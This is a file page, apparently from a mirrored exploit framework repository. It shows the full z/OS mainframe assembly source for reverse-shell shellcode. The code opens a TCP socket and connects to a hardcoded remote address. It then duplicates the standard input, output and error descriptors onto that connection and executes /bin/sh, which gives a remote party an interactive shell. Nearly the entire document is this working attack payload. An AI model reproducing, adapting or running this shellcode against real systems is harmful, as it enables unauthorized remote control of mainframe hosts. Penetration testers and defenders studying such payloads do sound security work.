Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/mainframe/shell_reverse_tcp.s
Views: 11780
TITLE 'z/os Reverse Shell'1NEWREV CSECT2NEWREV AMODE 313NEWREV RMODE 314***********************************************************************5* SETUP registers and save areas *6***********************************************************************7MAIN LR 7,15 # R7 is base register8NILH 7,X'1FFF' # ensure local address9USING MAIN,0 # R8 for addressability10DS 0H # halfword boundaries11LA 1,ZEROES(7) # address byond which should be all 0s12XC 0(204,1),0(1) # clear zero area13LA 13,SAVEAREA(7) # address of save area14LHI 8,8 # R8 has static 815LHI 9,1 # R9 has static 116LHI 10,2 # R10 has static 21718***********************************************************************19* BPX1SOC set up socket *20***********************************************************************21BSOC LA 0,@@F1(7) # USS callable svcs socket22LA 3,8 # n parms23LA 5,DOM(7) # Relative addr of First parm24ST 10,DOM(7) # store a 2 for AF_INET25ST 9,TYPE(7) # store a 1 for sock_stream26ST 9,DIM(7) # store a 1 for dim_sock27LA 15,CLORUN(7) # address of generic load & run28BASR 14,15 # Branch to load & run2930***********************************************************************31* BPX1CON (connect) connect to rmt host *32***********************************************************************33BCON L 5,CLIFD(7) # address of client file descriptor34ST 5,CLIFD2(7) # store for connection call35*** main processing **36LA 1,SSTR(7) # packed socket string37LA 5,CLIFD2(7) # dest for our sock str38MVC 7(9,5),0(1) # mv packed skt str to parm array39LA 0,@@F2(7) # USS callable svcs connect40LA 3,6 # n parms for func call41LA 5,CLIFD2(7) # src parm list addr42LA 15,CLORUN(7) # address of generic load & run43BASR 14,15 # Branch to load & run4445*************************************************46* Preparte the child pid we'll spawn *47* 0) Dupe all 3 file desc of CLIFD *48* 1) dupe parent read fd to std input *49*************************************************50LHI 11,2 # Loop Counter R11=251@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)52@RET1 AHI 11,-1 # Decrement R1153CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop5455***********************************************************************56* BPX1EXC (exec) execute /bin/sh *57***********************************************************************58LEXEC LA 1,EXCPRM1(7) # top of arg list59******************************************60**** load array of addr and constants ***61******************************************62ST 10,EXARG1L(7) # arg 1 len is 263LA 2,EXARG1L(7) # addr of len of arg164ST 2,16(0,1) # arg4 Addr of Arg Len Addrs65LA 2,EXARG1(7) # addr of arg166ST 2,20(0,1) # arg5 Addr of Arg Addrs67ST 9,EXARGC(7) # store 1 in ARG Count68**************************************************************69*** call the exec function the normal way ********************70**************************************************************71LA 0,@@EX1(7) # USS callable svcs EXEC72LA 3,13 # n parms73LA 5,EXCPRM1(7) # src parm list addr74LA 15,CLORUN(7) # address of generic load & run75BASR 14,15 # Branch to load & run7677***********************************************************************78*** BPX1FCT (fnctl) Edit our file descriptor **************************79***********************************************************************80LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL81ST 8,@ACT(7) # 8 is our dupe2 action82L 5,CLIFD(7) # client file descriptor83ST 5,@FFD(7) # store as fnctl argument84ST 11,@ARG(7) # fd to clone85LA 3,6 # n parms86LA 5,@FFD(7) # src parm list addr87LA 15,CLORUN(7) # address of generic load & run88BASR 14,15 # Branch to load & run89BRC 15,@RET1 # Return to caller9091***********************************************************************92* LOAD and run R0=func name, R3=n parms *93* R5 = src parm list *94***********************************************************************95CLORUN ST 14,8(,13) # store ret address96XR 1,1 # zero R197SVC 8 # get func call addr for R098ST 0,12(13) # Store returned addr in our SA99L 15,12(13) # Load func addr into R15100LHI 6,20 # offset from SA of first parm101LA 1,0(6,13) # start of dest parm list102@LOOP2 ST 5,0(6,13) # store parms address in parm103AHI 3,-1 # decrement # parm104CIJ 3,11,8,@FIX # haky fix for EXEC func105@RETX AHI 6,4 # increment dest parm addr106AHI 5,4 # increment src parm addr107CIJ 3,0,7,@LOOP2 # loop until R3 = 0108LA 5,0(6,13)109AHI 5,-4110OI 0(5),X'80' # last parm first bit high111@FIN1 BALR 14,15 # call function112L 14,8(,13) # set up return address113BCR 15,14 # return to caller114@FIX AHI 5,4 # need extra byte skipped for exec115BRC 15,@RETX116117***********************************************************************118* Arg Arrays, Constants and Save Area *119***********************************************************************120DS 0F121*************************122**** Func Names ****123*************************124@@F1 DC CL8'BPX1SOC '125@@F2 DC CL8'BPX1CON '126@@EX1 DC CL8'BPX1EXC ' # callable svcs name127@@FC1 DC CL8'BPX1FCT '128* # BPX1EXC Constants129EXARG1 DC CL2'sh' # arg 1 to exec130* # BPX1CON Constants131SSTR DC X'1002023039ac103d0a'132* # BPX1EXC Arguments133EXCPRM1 DS 0F # actual parm list of exec call134EXCMDL DC F'7' # len of cmd to exec135EXCMD DC CL7'/bin/sh' # command to exec136*********************************************************************137******* Below this line is filled in runtime, but at compile ********138******* is all zeroes, so it can be dropped from the shell- *********139******* code as it will be dynamically added back and the ***********140******* offsets are already calulated in the code *******************141*********************************************************************142ZEROES DS 0F # 51 4 byte slots143EXARGC DC F'0' # num of arguments144EXARGS DC 10XL4'00000000' # reminaing exec args145EXARG1L DC F'0' # arg1 length146* # BPX1FCT Arguments147@FFD DC F'0' # file descriptor148@ACT DC F'0' # fnctl action149@ARG DC F'0' # argument to fnctl150@RETFD DC F'0' # fd return151FR1 DC F'0' # rtn code152FR2 DC F'0' # rsn code153* # BPX1SOC Arguments154DOM DC F'0' # AF_INET = 2155TYPE DC F'0' # sock stream = 1156PROTO DC F'0' # protocol ip = 0157DIM DC F'0' # dim_sock = 1158CLIFD DC F'0' # client file descriptor159SR1 DC F'0' # rtn val160SR2 DC F'0' # rtn code161SR3 DC F'0' # rsn code162* # BPX1CON Arguments163CLIFD2 DC F'0' # CLIFD164SOCKLEN DC F'0' # length of Sock Struct165SRVSKT DC XL2'0000' # srv socket struct166DC XL2'0000' # port167DC XL4'00000000' # RHOST 0.0.0.0168CR1 DC F'0' # rtn val169CR2 DC F'0' # rtn code170CR3 DC F'0' # rsn code171SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt172EOFMARK DC X'deadbeef' # eopgm marker for shellcode173END MAIN174175176